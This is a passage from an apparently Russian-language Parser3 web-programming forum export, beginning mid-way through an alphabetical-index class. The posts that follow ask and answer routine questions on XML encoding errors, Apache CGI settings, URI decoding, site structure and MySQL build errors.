		$strActiveLetter[^strActiveLetter.trim[]]\
		$strActiveLetter[^strActiveLetter.left(1)]\
		$strActiveLetter[^strActiveLetter.upper[]]\
	}\
	$_appendActiveLetter{\
		$_prepareActiveLetter\
		^tblActiveLetters.append{$strActiveLetter}\
	}\
	$tblItemsColumns[^tItems.columns[]]\
	$tblActiveLetters[^table::create{letter}]\
	^switch(^tblItemsColumns.count[]){\
		^case(0){\
			^try{\
				^tItems.menu{\
					$strActiveLetter[$tItems.0]\
					$_appendActiveLetter\
				}\
			}{\
				^if($exception.comment eq 'column not found'){\
					$exception.handled(1)\
				}\
#				ЕСЛИ ТАБЛИЦА НЕ NAMELESS, ТО ПОКА ТОЧИМ ВАТУ\
			}\
		}\
		^case(1){\
			^tItems.menu{\
				$strActiveLetter[$tItems.[$tblItemsColumns.column]]\
				$_appendActiveLetter\
			}\
		}\
		^case[DEFAULT]{\
			^if(!def $sItemsColumnName){\
				^throw[aindex;Items column name must be defined.]\
			}\
			^if(def $sItemsColumnName && !($sItemsColumnName is 'string')){\
				^throw[aindex;Items column name is not string.]\
			}\
			^tItems.menu{\
				^try{\
					$strActiveLetter[$tItems.[$sItemsColumnName]]\
					$_appendActiveLetter\
				}{\
					^if($exception.comment eq 'column not found'){\
						$exception.handled(1)\
						^throw[aindex;Items column name is wrong.]\
					}\
				}\
			}\
		}\
	}\
	^if($tblActiveLetters){\
		$tblShareLetters[$tblLetters]\
		$hshActiveLetters[^tblActiveLetters.hash[letter][$.distinct(1)]]\
		$tblLetters[^table::create{letter	group	is_active}]\
		^tblShareLetters.menu{\
			^tblLetters.append{$tblShareLetters.letter	$tblShareLetters.group	^if($hshActiveLetters.[$tblShareLetters.letter]){1}{0}}\
		}\
	}\
}\
#end @init[]\
\
@print[params]\
^if(def $params.tag_name){\
	<$params.tag_name^if(def $params.tag_attr){$params.tag_attr}>\
}\
$strTargetURL[^if(def $params.target_url){$params.target_url}{./}]\
$strTargetURLSeparator[^if(^params.target_url.pos[?]>=0){^taint[&]}{?}]\
$strFormName[^if(def $params.form_name){$params.form_name}{letter}]\
^if($params.mode eq 'html'){\
	^_printHTML[$params]\
}{\
	^_printXML[$params]\
}\
^if(def $params.tag_name){\
	</$params.tag_name>\
}\
#end @print[]\
\
@_printHTML[params][_params]\
$_params[^hash::create[$params]]\
^if(def $_params.title){\
	$_params.title\
}\
^tblLetters.menu{\
	^if($form:[$strFormName] eq $tblLetters.letter){\
		$tblLetters.letter\
	}{\
		<a href=\"${strTargetURL}${strTargetURLSeparator}${strFormName}=^taint[uri][$tblLetters.letter]\">$tblLetters.letter</a>\
	}\
}\
#end @_printHTML[]\
\
@_printXML[params][_params][strLetterType]\
$_params[^hash::create[$params]]\
^if(def $_params.title){\
	<title>$_params.title</title>\
}\
^tblLetters.menu{\
	^if($form:[$strFormName] eq $tblLetters.letter){$strLetterType[current]}\
	<aindex\
		^if($strLetterType ne 'current'){\
			href=\"${strTargetURL}${strTargetURLSeparator}${strFormName}=^taint[uri][$tblLetters.letter]\"\
		}\
		^if(def $hshGroups.[$tblLetters.group].type){group=\"$hshGroups.[$tblLetters.group].type\"}\
		^if(def $hshGroups.[$tblLetters.group].lang){lang=\"$hshGroups.[$tblLetters.group].lang\"}\
		^if(def $strLetterType){type=\"$strLetterType\"}\
		^try{\
			is_active=\"^if($tblLetters.is_active){1}{0}\"\
		}{\
			$exception.handled(1)\
		}\
	/>\
	$strLetterType[]\
}\
#end @_printXML[]\
\
@auto[]\
$tblGroups[^table::create{id	type	lang\
1	numbers	\
2	letters	en\
3	letters	ru\
}]\
$tblLetters[^table::create{letter	group\
0	1\
1	1\
2	1\
3	1\
4	1\
5	1\
6	1\
7	1\
8	1\
9	1\
A	2\
B	2\
C	2\
D	2\
E	2\
F	2\
G	2\
H	2\
I	2\
J	2\
K	2\
L	2\
M	2\
N	2\
O	2\
P	2\
Q	2\
R	2\
S	2\
T	2\
U	2\
V	2\
W	2\
X	2\
Y	2\
Z	2\
А	3\
Б	3\
В	3\
Г	3\
Д	3\
Е	3\
Ё	3\
Ж	3\
З	3\
И	3\
Й	3\
К	3\
Л	3\
М	3\
Н	3\
О	3\
П	3\
Р	3\
С	3\
Т	3\
У	3\
Ф	3\
Х	3\
Ц	3\
Ч	3\
Ш	3\
Щ	3\
Ъ	3\
Ы	3\
Ь	3\
Э	3\
Ю	3\
Я	3\
}]\
$hshGroups[^tblGroups.hash[id]]\
#end @auto[]\
[/code]\
\
[b]Примеры использования.[/b]\
1.\
[code]\
$items[^table::sql{\
	SELECT\
		item_id,\
		title,\
		details\
	FROM\
		items\
}]\
\
$aindex[^aindex::init[$items;title]]\
^aindex.print[\
	$.mode[html]\
	$.target_url[/items/]\
]\
[/code]\
Один из самых неправильных вызовов, т.к. таблица с items передаётся в класс, но в некоторых случаях он пойдёт.\
2.\
[code]\
$items_title[^table::create{title\
...\
}]\
\
$aindex[^aindex::init[$items_title]]\
^aindex.print[\
	$.tag_name[alfa-index]\
	$.target_url[/items/]\
]\
[/code]\
Впринципе самый нормальный способ использования, т.к. передаются только названия.\
3.\
[code]\
$items_title[^table::create[nameless]{\
...\
}]\
$aindex[^aindex::init[$items_title]]\
...\
[/code]\
Может когда-то пригодиться кому-нибудь такой способ... Правда я в этом совмневаюсь.\
\
[b]Параметры методов.[/b]\
1. init.\
[code]\
@init[ТАБЛИЦА;НАЗВАНИЕ СТОЛБЦА С ДАННОЙ ТАБЛИЦЫ]\
[/code]\
Оба поля являются необязательными... В некоторых случаях можно не использовать этот метод, тогда поидеи будет использоваться внутренняя таблица символов.\
\
\
2. print.\
[code]\
@print[\
	$.mode[STRING]\
	$.tag_name[STRING]\
	$.tag_attr[STRING]\
	$.form_name[STRING]\
	$.target_url[STRING]\
]\
[/code]\
$.mode[XML/HTML]\
[i]Способ вывода. По умолчанию \"XML\".[/i]\
$.tag_name[]\
[i]Название тэга, в котором всё это выводится. По умолчанию ничего нет.[/i]\
$.tag_attr[]\
[i]Аттрибуты для тэга. Доступны только тогда, если определён $.tag_name. По умолчанию также ничего нет.[/i]\
$.form_name[]\
[i]Название элемента формы через который передаётся символ. По умолчанию \"letter\".[/i]\
$.target_url[]\
[i]URL страницы (для перехода). По умолчанию \"./\"[/i]\
\
\
Был бы очень рад за разумную критику... В особенности самого кода (т.к. сказать, того пересоздания таблиц)."
"53062","[code]\
Entity: line 2: parser error : XML declaration allowed only at the start of the document\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
     ^\
Entity: line 7: parser error : Input is not proper UTF-8, indicate encoding !\
Bytes: 0xE1 0xF3 0xE4 0xE5\
<title>будет сайт</title>\
       ^\
[/code]\
\
при этом xml имеет такой вид:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<site>\
 <title>будет сайт</title>\
 <keywords>ключевые слова</keywords>\
 <description>описание сайта (description)</description>\
...........\
</site>[/code]\
\
эта ошибка возникает в:\
$sourceDoc[^xdoc::create{$xml}]\
\
почему может такая ошибка выдаваться?"
"53067","[code]\
@main[]\
$tNameList[^table::create{name\
...\
}]\
# Имеющуюся таблицу с именами перевожу в хеш таблиц, ключи которого формируются на основе первой буквы.\
$hRubric[^tNameList.hash{^key(1)[$tNameList.name]}[$.distinct[tables]]]\
# Вот и все -- алфавитный указатель готов.\
# Остается только все это дело вывести:\
$tRL[^hRubric._keys[letter]]\
^tRL.sort{$tRL.letter}\
\
<ul>\
^tRL.menu{\
	<li>$tRL.letter\
		<ul>$_tR[$hRubric.[$tRL.letter]]\
			^_tR.menu{<li>$_tR.name</li>}\
		</ul>\
	</li>\
}\
</ul>\
\
\
###########################################\
# формирует ключ хеша алфавитного указателя\
@key[letterAmount;name]\
$result[^name.mid(0;$letterAmount)]\
$result[^result.trim[]]\
$result[^result.upper[]]\
# end @key[letterAmount;name]\
[/code]"
"53070","На сервере надо разрешить использование скриптов из директории /domain.ru/www/ (и соответственно на все ее поддиректории). \
\
httpd.conf \
========== \
\
<VirtualHost *:80> \
 ServerName domain.ru \
 ServerAlias domain.ru \
 ServerAlias http://www.domain.ru/ \
\
 DocumentRoot \"/usr/local/apache/domains/domain.ru/www/\" \
\
 AddHandler cgi-script .cgi \
\
 <Directory \"/usr/local/apache/domains/domain.ru/www/\"> \
 Options +ExecCGI \
 </Directory> \
 ScriptAlias /cgi-bin/ \"/usr/local/apache/domains/domain.ru/cgi-bin/\" \
</VirtualHost> \
\
<Directory \"/usr/local/apache/domains/domain.ru/www\"> \
AllowOverride None \
Options Indexes FollowSymLinks ExecCGI \
Order allow,deny \
Allow from all \
</Directory> \
\
\
После запуска скрипта из директории /domain.ru/www/test/ в логах пишут следующее: \
\
No such file or directory: exec of /usr/local/apache/domains/domain.ru/www/test/index.cgi failed \
Premature end of script headers: /usr/local/apache/domains/domain.ru/www/test/index.cgi \
\
Что можно сделать?"
"53071","Во-первых, писать[code]ServerAlias http://www.domain.ru/ [/code]нельзя. Надо[code]ServerAlias www.domain.ru[/code]Что до вашей проблемы, не трогайте вы httpd.conf (положите на место исходную версию, нетронутую вашими шаловливыми руками), просто положите в папку www файл с именем [i].htaccess[/i] (точка в начале имени!) с текстом:[code]Options +ExecCGI [/code]"
"53072","Суть проблемы. ;)\
Попробовал и правда понял - зачем?\
И так все работает:\
@main[]\
<a href=\"?test=^taint[uri][тест]\">тест</a>\
$form:test\
Тест пишется по русски. Т.е. при получении значения поля формы через класс FORM закодированные в %nn символы преобразуются обратно.\
У меня же идет перенаправление по 404 ошибке (заменитель mod rewrite) и поля формы приходится брать из $request:uri, типа:\
\
@main[]\
<a href=\"?test=^taint[uri][тест]\">тест</a><br>\
\
form:test: $form:test<br>\
# Пишет \"тест\"\
\
request:uri: $request:uri\
# Пишет \"%F2%E5%F1%F2\"\
\
Соответственно обратного преобразования не происходит. Т.е. нужно преобразование, обратное ^taint[uri][%F2%E5%F1%F2]"
"53073","Преобразования обратного ^taint[uri][%F2%E5%F1%F2] не существует.\
\
Я так и не понял чем вам мешают коды в $request:uri..."
"53074","\"$form:поле_формы    \
Такая конструкция возвращает значение поля формы. Возвращаемый объект может принадлежать либо классу file, если поле формы имеет тип file, либо классу string. Дальнейшая работа с объектом возможна только методами, определенными для соответствующих классов.\"\
Т.е. Ваш объект thumb повидимому принадлежит классу string, а  формат text или binary может быть применен только при сохранении объекта класса file. Сохранение объекта класса string:\
^строка.save[append;имя_файла_с_путем]"
"53075","Нужно вытащить из результатов поиска Яндекса 10 найденых урлов сайтов, есть код:\
\
[code]$yaurl = 'http://www.yandex.ru/yandsearch?text=слово&stype=www';\
$page = file_get_contents($yaurl); \
preg_match_all(\"|<li value[^<]*<[^<]*<[^ ]* [^ ]* href=\\\"([^\\\"]*)|i\",$page,$out,PREG_PATTERN_ORDER);\
	foreach ($out[0] as $anchor) \
     { \
      echo $anchor.\"<br><br>\"; \
     }[/code]\
\
Но массивы возврашаются пустые :(\
как быть ?"
"53076","Получаю имя файла с русскими буковками или пробелами. Пытаюсь его удалить или там скопировать, в итоге система пытается найти не файл тест.txt например, а %F2%E5%F1%F2.txt"
"53077","Возможно ли перекодировать переменную закодированную символами в шестнадцатеричной форме в нормальный вид?"
"53078","делайте сами таблицу замен и replace в руки (поиском по форуму можно найти готовые таблицы замен)."
"53079","Options +ExecCGI не годится, поскольку действует только на корневой каталог, а нужно разрешить скрипты во всех поддиректориях."
"53080","проверил доступность файла с русскими буквами и пробелами в имени, когда имя его пришло из get-формы.\
Всё нашлось.\
Правда, тестил только на локально, на windows.\
\
file.html:\
[code]\
запрос: $form:name<br>\
^if(def $form:name){\
	$f[^file::load[text;$form:name]]\
	текст файла: $f.text\
}\
<form name=\"form\" method=\"get\">\
<input type=\"text\" name=\"name\"></input>\
<br>\
<input type=\"submit\" value=\"Поехали\"></input>\
</form>\
[/code]"
"53081","Лучше всего в таких случаях не жаться, и запостить также код, в котом в переменную $xml попадает строка, вид которой вы представили :)\
А то у участнегов форума для обсуждения нет самого главного (сами подумайте, зачем им нужны теги вашего xml, когда вы и так сами его 10 раз перепроверили и убедились, что он безупречен):))\
\
Но, раз уж я начал вам писать, то одной только критикой не ограничусь... \
Попробую предположить, что в вашем коде:\
[code]\
### $var определяется так:\
$var[\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<my-tags .../>\
]\
\
### или вот так:\
$var[ ^my_xml[...]]\
\
### а может и ваще ого-го как:\
@my_xml[...][...]\
# my well-formed xml\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<my-tags .../>\
[/code]\
Даже если я и не угадал, в любом случае, этим примером проиллюстрирую цитату из справочника:\
[b]\"[/b]... Однако, если XML-объявление все же присутствует, то документ должен начитаться именно с него. Перед XML-объявлением не может быть комментариев, пробельных символов или инструкций обработки.[b]\"[/b]\
И вне зависимости от того, угадал я или нет, вам уже самим выбирать: читать внимательнее спецификации/документации, или copy/paste/match/replaсe\
[code]\
### $var определяем так:\
$var[<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<my-tags .../>\
]\
\
### или вот так:\
$var[^my_xml[...]]\
\
### а может и ваще ого-го как:\
@my_xml[...][...]\
# my well-formed xml\
$result[\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<my-tags .../>]\
\
### а может и оп-па как:\
@my_xml[...][...]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
# my well-formed xml\
<my-tags .../>\
\
### ну или вот эдак модно:\
@my_xml[...][...][result]\
# my well-formed xml\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<my-tags .../>\
[/code]\
\
PS: пожалуйста, пусть мои длинные объяснения ни в коем случае не покажутся вам наглым стебом. Просто такая ситуация, я наверстываю однажды упущенную возможность научиться свободно писать не только код, но и тексты на естественном языке, сами представяете, как это непросто, когда я однажды отчислился из ВУЗа из-за несданной технической записки к курсовому проекту. Так сказать, этим собщением я сделал себе профилактику от возможного комплекса."
"53082","Цитирую документацию по Apache 1.3:\
\
Normally, if multiple Options could apply to a directory, then the most specific one is taken complete; the options are not merged. [b]However if all the options on the Options directive are preceded by a + or - symbol, the options are merged.[/b] Any options preceded by a + are added to the options currently in force, and any options preceded by a - are removed from the options currently in force. \
For example, without any + and - symbols:[code]<Directory /web/docs>\
Options Indexes FollowSymLinks\
</Directory>\
<Directory /web/docs/spec>\
Options Includes\
</Directory>[/code]then only Includes will be set for the /web/docs/spec directory. [b]However if the second Options directive uses the + and - symbols[/b]:[code]<Directory /web/docs>\
Options Indexes FollowSymLinks\
</Directory>\
<Directory /web/docs/spec>\
Options +Includes -Indexes\
</Directory>[/code]then the options FollowSymLinks and Includes [b]are set[/b] for the /web/docs/spec directory."
"53083","PS: Прошу прощения за заголовок, но когда из четырех слов в предложении три -- английские, никак еще не напишешь.\
\
Предложений будет несколько, но не все сразу, вот одно из них:\
\
Внутри формы для поиска в поле [i]\"Фильтровать по автору:\"[/i] сейчас можно указывать [b]только ник писателя[/b]. Я считаю не лишним, чтобы в это поле принимало для фильтрации еще и [b]e-mail[/b].\
\
Представим себе будоражащую воображение форумчан перемену: вдруг Misha v.3 меняет себе ник, и становится Misha v.4!\
Конечно мы радостно воспримем эту новость, но некоторые, по-привычке, будут отбирать сообщения Миши из общей массы (т.е. фильтровать), указывая тот ник, что служил ему прежде.\
\
Принимая как идентификатор автора и его e-mail, поиск по форуму станет более гибким и результативным.\
\
Получится этакий двухуровневый фильтр для поиска:\
1) первый уровень, когда указывается e-mail, отделяет сообщения автора как реального человека;\
2) второй -- отделит из результатов первого уровня подмножество сообщений, связанных с указанным ником (логином)."
"53084","Можно написать просто Misha.\
Или просто PA, а то и AF...\
\
И сообщения найдутся!.."
"53085","а вы вообще зарегистрированны?\
\
Зарегистрируйтесь, напишите пару сообщений и попробуйте поменять ник. Предложение отпадет само сабой.\
\
З.Ы.\
Кстати, е-маил тоже может поменятся"
"53086","УВАЖАЕМЫЙ, Вячеслав!!!\
Спасибо огромное, у меня всё заработало. действительно, <?xml version=\"1.0\" encoding=\"windows-1251\" ?> было не с самого начала...\
\
Стёб - не стёб, а результат есть! Ещё раз спасибо за разъяснения!"
"53087","Возможности:\
\
Типографирует русский текст с дефолтными настройками. Про дефолтные настройки и вообще в целом о типографе читаем [url=\"http://www.typograf.ru\"]здесь[/url]. По умолчанию кодировка windows-1251.\
[code]\
<html>\
	<body>\
		<form method=\"post\">\
			^if(def $form:text){\
				$file[^file::load[text;http://www.typograf.ru/webservice/;\
						$.charset[windows-1251]\
						$.method[POST]\
						$.form[\
							$.text[$form:text]\
						]\
					]\
				]\
			}\
			<textarea name=\"text\" rows=\"5\" style=\"width: 50%\">^if(def $file.text){$file.text}</textarea>\
			<br />\
			<input type=\"submit\" value=\"типографировать\" style=\"margin-top: 0.5em\" />\
		</form>\
	</body>\
</html>\
[/code]\
\
Копируйте этот код к себе в админ, и будет вам счастье.\
\
P.S. Дождались."
"53088","Все правильно, вся проблема в переадресации по 404: form не работает ;(. При получении поля из класса form происходит автоматическая перекодировка, а мне приходится вытаскивать поле из $request:uri. Повидимому проще всего отсылать форму на существующий урл или передавать переменную например через хэшфайл... В будущих версиях было бы удобно использовать обратную перекодировочку ;)"
"53090","Получить tables или fields и найти там своё имя файла."
"53091","а про переименование зарегистрированных пользователей вам уже сообщили. если я переименуюсь, мой ник переименуется и во всех написанных мной сообщениях."
"53092","в корневом auto.p пишем\
[code]@main[]\
^header[]\
^body[]\
^footer[][/code]\
\
в папочке /admin/ пытаемя переопределить в файле auto.p \
[code]@main[]\
^header[]\
^body_admin[]\
^footer[][/code]\
\
результат [b]Unhandled Exception (parser.compile)[/b]\
\
может я неправильно переопределяю?"
"53093","Страницы к которой отсылается форма не существует, идет переадресация по 404 ошибке на /index.p3. При этом класс form не работает. Поля вытаскиваются из строки запроса."
"53094","P.S. парсер вам пишет даже строчку где по его мнению вы ошибаетесь..."
"53095","почитаю обязательно, потому что буду еще спрашивать много раз :)\
\
а еще нашел в чем причина была \
[code]<!-- admin area -->\
@body_main_admin[][/code]\
\
немножко не правильно ;)"
"53097","Есть произвольная строка. Задача -- с помощью str.match поменять в ней дюймы на ёлочки (т.е. объеденить два условия)."
"53099","http://www.ipo-design.ru/developments/lab/_gameword/\
\
Выложил наверное первую игрушку написанную на PARSER.\
\
Исходники игры будут доступны в скором и светлом бедующем ;)\
и еще надеюсь они окажутся в примерах.\
\
Очередной раз спасибо всем тем кто помог с построением анаграмм."
"53100","Есть какая либо информация на предмет того, с какими версиями mysql совместим третий парсер?\
\
При сборке из исходников под MySQL 5.0.21 и FreeBSD 6.0\
\
Вот configure:\
./configure --prefix=/usr/local/parser --with-mysql-inc=/usr/local/mysql5/include/mysql\
\
Вот ответ компилятора:\
parser3mysql.C:373: error: `void (*mysql_free_result)(MYSQL_RES*)' redeclared\
   as different kind of symbol\
/usr/local/mysql5/include/mysql/mysql.h:508: error: previous declaration of `\
   void mysql_free_result(MYSQL_RES*)'\
parser3mysql.C:375: error: `long unsigned \
   int*(*mysql_fetch_lengths)(MYSQL_RES*)' redeclared as different kind of \
   symbol\
/usr/local/mysql5/include/mysql/mysql.h:516: error: previous declaration of `\
   long unsigned int* mysql_fetch_lengths(MYSQL_RES*)'\
parser3mysql.C:377: error: `char**(*mysql_fetch_row)(MYSQL_RES*)' redeclared as \
   different kind of symbol\
/usr/local/mysql5/include/mysql/mysql.h:515: error: previous declaration of `\
   char** mysql_fetch_row(MYSQL_RES*)'\
parser3mysql.C:379: error: `MYSQL_FIELD*(*mysql_fetch_field)(MYSQL_RES*)' \
   redeclared as different kind of symbol\
/usr/local/mysql5/include/mysql/mysql.h:517: error: previous declaration of `\
   MYSQL_FIELD* mysql_fetch_field(MYSQL_RES*)'\
parser3mysql.C:381: error: `unsigned int (*mysql_num_fields)(MYSQL_RES*)' \
   redeclared as different kind of symbol\
/usr/local/mysql5/include/mysql/mysql.h:381: error: previous declaration of `\
   unsigned int mysql_num_fields(MYSQL_RES*)'\
parser3mysql.C:384: error: `unsigned int (*mysql_field_count)(MYSQL*)' \
   redeclared as different kind of symbol\
/usr/local/mysql5/include/mysql/mysql.h:389: error: previous declaration of `\
   unsigned int mysql_field_count(MYSQL*)'\
parser3mysql.C:387: error: syntax error before `private'\
parser3mysql.C:392: error: `dlopen_file_spec' was not declared in this scope\
parser3mysql.C:393: error: syntax error before `if'\
*** Error code 1\
\
Stop in /usr/home/mar/parser3mysql-3.1.HEAD.\
*** Error code 1\
\
Stop in /usr/home/mar/parser3mysql-3.1.HEAD.\
*** Error code 1\
\
Stop in /usr/home/mar/parser3mysql-3.1.HEAD."
"53101","Понимаю, что наверное конкретно торможу, но все же…\
Решил добавить свои поля в таблицу auser. Поискал в форуме и сделал, как советовалось:\
[code]\
...\
$auth[\
	^auth::init[\
		$cookie:CLASS;\
		$form:fields;\
		$.csql[$MAIN:pSQL]\
		$.additional_fields[\
			^table::create{select	update	field\
last_name	last_name	last_name\
first_name	first_name	first_name\
middle_name	middle_name	middle_name\
			}\
		]\
	]\
]\
...\
#проверка авторизации\
^if($auth.is_logon){...}\
\
[/code]\
\
Как только я добавил $.additional_fields проверка ^if($auth.is_logon){...} стала возвращать мне 0.\
\
Если убрать $.additional_fields то все работает:\
[code]\
$auth[\
	^auth::init[\
		$cookie:CLASS;\
		$form:fields;\
		$.csql[$MAIN:pSQL]\
	]\
]\
[/code]\
\
Не пойму, в чем загвоздка....\
\
Прослойку-класс я не использовал пока.."
"53103","есть мысль создать модуль (класс) счетчика посещений для сайта, но для реализации мне нехватает самого малого - а именно, можно ли какой-нить хитрой (или не очень) функцией Парсера [b]получить IP пользователя?[/b] Или же надо обязательно писать на Перле что-нить :/"
"53105","Кстати, не забудьте, что многие сидят за Proxy или NAT и IP, который вы увидите, будет не совсем тем, что вы ожидаете. Т.е. велик шанс, что вы забаните кого-то по IP по такому принципу, а пострадают разом все пользователи подсети."
"53106","мне не для \"забанивания\", а для регистрации в бд :)\
спасибо огромнейшее!"
"53107","...с БД, а именно с таблицей.\
Проверьте, пожалуйста, вашу таблицу. Всё ли там впорядке.\
Если, что откройте класс и отключите в нужных местах перекрытие ошибок ($exception.handled), тогда будете точно знать в чём дело."
"53108","[i]что хочу увидеть:[/i] на странице sender.html есть форма\
[code]<form action=\"recipient.html\" method=\"post\">\
	<input type=\"Text\" name=\"id\" value=\"1234\">\
	<input type=\"Text\" name=\"hello\" value=\"world\">\
	<br>\
	<input type=\"Submit\">\
</form>[/code]\
и я хочу получить значение полей id и hello на страничке recipient.html\
\
[i]что для этого сделал[/i] почитал ман по CGI и Parser\
\
[i]что получилось:[/i] а ничего, памагите в виде простейшего примера, или дайте ссылку на [b]\"правильный\"[/b] мануал"
"53109","Добрый день.\
Вопрос в большей степени адресован Misha v.3, но буду рад слышать мнения всех.\
\
Как грамотно в рамках технологии Engine реализовать например каталог товаров?\
С обычными страничками всё более-менее понятно. Разбираем URL, находим ID нужной странички, потом достаём всё что к ней относится, собираем, преобразуем, результат отдаём.\
А как лучше поступить с URL'ами каталога?\
Так:\
site.ru/catalog/?id=1234\
или так:\
site.ru/catalog/1234/\
Я понимаю что разницы большой нет и mod rewrite спасёт нас всех, но как удобнее и универсальнее в случае с описанной Михаилом технологией?\
\
Если остановиться на втором варианте, то придётся в базу, в которой хранится дерево сайта, залить несколько тысяч дополнительных строк - странички товаров. Я правильно понимаю?\
Мне казалось что удобнее базу по товарам и \"ядро\" системы хранить в разных таблицах. Может быть я ошибаюсь?\
\
Подскажите, пожалуйста, может быть я вообще в неправильном направлении думаю."
"53110","давайте так: следующий раз читаете, делаете и если вы написали код, но он не работает - пишите. \
\
следующее ваше сообщение подобное этому я молча удалю, не обижайтесь."
"53111","Какие два условия?\
Почему match?\
Зачем ёлочки?"
"53113","Зачем добавлять ко всем логинам одинаковый довесок? Нельзя пользоваться голым ником?\
А если уж очень хочется, то Вы ведь можете \"дописать\" всё что угодно на той страничке, которая данные формы получает, вместо того чтобы мучаться со страничкой, которая эти данные отправляет."
"53114","а зависимости лично я не пытался узнать, однако и на байтиках я не экономлю, т.к. sql запросы и dom операции значительно перекрывают эту зависимость.\
\
однако верить никому нельзя, поэтому предлагаю взять и измерить (делов-то на 5-15 минут) :)"
"53115","Выбор: большой auto.p или много .html. Для меня не очевидный выбор."
"53116","[quote]Так:\
site.ru/catalog/?id=1234\
или так:\
site.ru/catalog/1234/[/quote]\
\
Я бы остановился на втором варианте, потому что он более человеко-понятный. Абсолютно без разницы, как Вы сами сказали:\
\"mod rewrite спасёт нас всех...\"\
\
[quote]\
Если остановиться на втором варианте, то придётся в базу, в которой хранится дерево сайта, залить несколько тысяч дополнительных строк - странички товаров. Я правильно понимаю?\
[/quote]\
\
Нет неправильно. Не придётся. Нужно будет добавить только один объект - catalog. В .htaccess своего сайта добавить правило для обработки урл вида:\
site.ru/catalog/1234/\
Что бы оно реврайтило на /catalog/?id=$1\
И соответственно в обработчике для объекта catalog написать парсерный код, который будет доставать и работать с таваром по его ид (в конечном итоге код должен формировать xml). Потом надо будет написать xsl шаблон, который будет обрабатывать (в простейшем случае генерировать html) полученный xml код, и привязать его к объекту catalog.\
\
[quote]\
Мне казалось что удобнее базу по товарам и \"ядро\" системы хранить в разных таблицах. Может быть я ошибаюсь?\
[/quote]\
\
Да Вы правы. Информацию о товарах лучше хранить в отдельной таблице, но Вам это никто делать и не запрещает. Просто Вы думали, что каждый товар является объектом, а это не так. И в таблицу с объектами нужно будет добавить только один объект - catalog, а всю грязную работу по получению и обработке информации о товарах (из другой таблицы) будет делать обработчик этого объекта.\
\
Примерно так. Естественно это лишь простейший пример. Рекомендую скачать [url=\"http://g100m.vlink.ru/antistatic.zip\"]antistatic[/url] иразобраться в его коде."
"53117","и если в них действительно разные, не пересекаищиеся вещи то не знаю зачем их сваливать в кучу (auto.p).\
\
в auto.p должны быть общие или часто-используемые конструкции, да и то их лучше помещать не в него а в отдельные классы или файлы с операторами."
"53119","[quote]Просто Вы думали, что каждый товар является объектом, а это не так. И в таблицу с объектами нужно будет добавить только один объект - catalog...[/quote]\
\
Пытайтесь мыслить более высокими категориями. Сама терминология (объект да объект) уже порочна :-)"
"53121","А второе-то условие какое?\
\
Тебе походу нужен типограф на регулярных выражениях. История 2002 года.\
\
http://at.webcode.ru/history/0.2/"
"53122","[quote]по умолчанию кодировка windows-1251[/quote]\
\
А в этой кодировке буква [i]ё[/i] присутствует, между прочим :-)\
\
[code]<p>&laquo;Вы&nbsp;все ещ&#1105; верстаете\
в&nbsp;&bdquo;Ворде&ldquo;? &mdash;&nbsp;Тогда\
мы&nbsp;идем&nbsp;к&nbsp;вам!&raquo;</p>[/code]"
"53123","А что Вы поразумеваете под \"мыслить более высокими категориями\"?"
"53124","вкорее всего вы добавили поля с другими названиями. в методах @init и @logon[] вы можете найти ^try{} внутри которых вызывается @getUser[]. уберите временно из этих try перехват исключений и посмотрите, проходит-ли запрос в @getUser[] без ошибок или нет.\
\
или попробуйте ещё раз вызвать @logon[$form:fields] из вашего кода, в этом случае он хоть что-то сообщит об ошибке."
"53125","В принципе я примерно так и думал, просто хотел посоветоваться."
"53126","Делал я делал .html и получился он около 140 кб. Не знаю, много это или мало. Дак я чтобы лечге ориентироваться, часть кода в авто скинул :) Такие дела"
"53127","я не имею доступа к обработчику формы.\
обработчик - вебмейл, который хостер предоставляет для всех доменов. соответственно ему надо отсылать логин вида логин@домен.ком.\
можно было б отправлять форму куда-то, где присоединять к логину имя домена, и уж потом переадресовать. НО КАК ПЕРЕАДРЕСОВАТЬ ДАННЫЕ МЕТОДОМ ПОСТ (редирект пост)??"
"53128","P.S. интересно, что-же у вас там на 140КБ?! у меня весь engine меньше 100 занимает :)"
"53130","Да, поэтому меня волнует этот вопрос... с другой стороны, нет ничего лишнего, вроде дублирующих модулей, поскольку все формы разные.\
\
Теперь склоняюсь к мысли, что надо на папки физические делить..."
"53131","например у вас есть две формы, одна для подписки, а другая для отправки сообщения обратной связи.\
\
скорее всего эти формы не будут показываться одновременно на одной странице. и логично их вообще разнести в разные классы: одну в класс subscribe, а другую в класс feedback, а в вашем auto.p/zzz.html оставить код, который подключит класс/создаст объект и вызовет метод класса/объекта, отвечающий за отображение нужной формы. аналогично нужно поступить с кодом. который делает что-то с данными, которые приходят вам из этих форм.\
\
и ваши auto.p/zzz.html очень сильно поуменьшатся в размерах, при этом подключаться всегда не будут и вам самим проще будет разбираться что где лежит."
"53132","Попробую так и сделать, сообщу об изменениях в скорости"
"53133","придумал 43 слова: http://www.ipo-design.ru/developments/lab/_gameword/statistic.prs =)\
\
\
Посмотрел сайт вашей студии, нашел интересную вещь:\
[quote]Модуль \"прайс-лист\" - В основе лежит технология ParseExcel, так как большинство фирм использует именно MS Excel для создания и хранения своих прайс-листов. Программу необходимо настроить один раз под шаблон, а далее одним щелчком мыши Прайс-лист из Excel преобразуется в любой формат данных - HTML, DOS-table, MySQL;[/quote]\
\
можете поделится или хотя бы идею расказать?"
"53137","Или «забавный бред» в другой терминологии."
"53143","безусловно могу :)\
берете любой файл Excel. \
пишите скрипт на perl с использование модуля Spreadsheet::ParseExcel, выбираете нужные Вам данные и сохраненете их туда, куда сами захотите.\
\
[url=\"http://search.cpan.org/~kwitknr/Spreadsheet-ParseExcel-0.2603/ParseExcel.pm\"]Документация на модуль[/url]"
"53144","Выдаётся [i]на некоторых[/i] страницах. Версия cgi-Win32, последняя. На linuxовой версии всё ok.\
\
Куда копать?"
"53145","...протупил\
вместо:\
[code]\
$.additional_fields[\
	^table::create{select	update	field\
		last_name	last_name	last_name\
		first_name	first_name	first_name\
		middle_name	middle_name	middle_name\
	}\
]\
[/code]\
нужно было писать\
[code]\
$.additional_fields[\
	^table::create{select	update	field\
		last_name	last_name	last_name\
